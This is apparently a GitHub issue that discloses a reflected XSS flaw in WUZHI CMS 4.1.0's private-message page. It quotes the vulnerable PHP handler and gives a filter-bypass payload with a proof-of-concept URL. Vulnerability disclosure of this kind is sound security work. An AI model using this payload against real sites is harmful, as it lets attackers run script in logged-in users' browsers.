Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

wuzhicms v4.1.0 message username reflected xss vulnerability #172

Open
redey3s opened this Issue Feb 14, 2019 · 0 comments

Comments

Projects
None yet
1 participant
@redey3s
Copy link

redey3s commented Feb 14, 2019

A xss vulnerability was discovered in WUZHI CMS 4.1.0

There is a reflected XSS vulnerability which allows remote attackers to inject arbitrary web script or HTML via the username parameter of /index.php?m=message&f=message&v=add

Vulnerability file: coreframe/app/message/message.php

    public function add() {
        $seo_title = '发私信';
        $memberinfo = $this->memberinfo;
        if(isset($GLOBALS['submit'])) {
            ......
        } else {
            $username = isset($GLOBALS['username']) ? remove_xss($GLOBALS['username']) : '';
            //$result_tpl = $this->db->get_list('message_tpl', '', '*', 0, 100, 0, 'tplid DESC');
            include T('message','add');
        }

    }

remove_xss function can be bypassed via payload "><details/open/ontoggle=alert(1)>

PoC:

http://example.com/index.php?m=message&f=message&v=add&username="><details/open/ontoggle=alert(1)>

Triggered when the user is logged in:

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.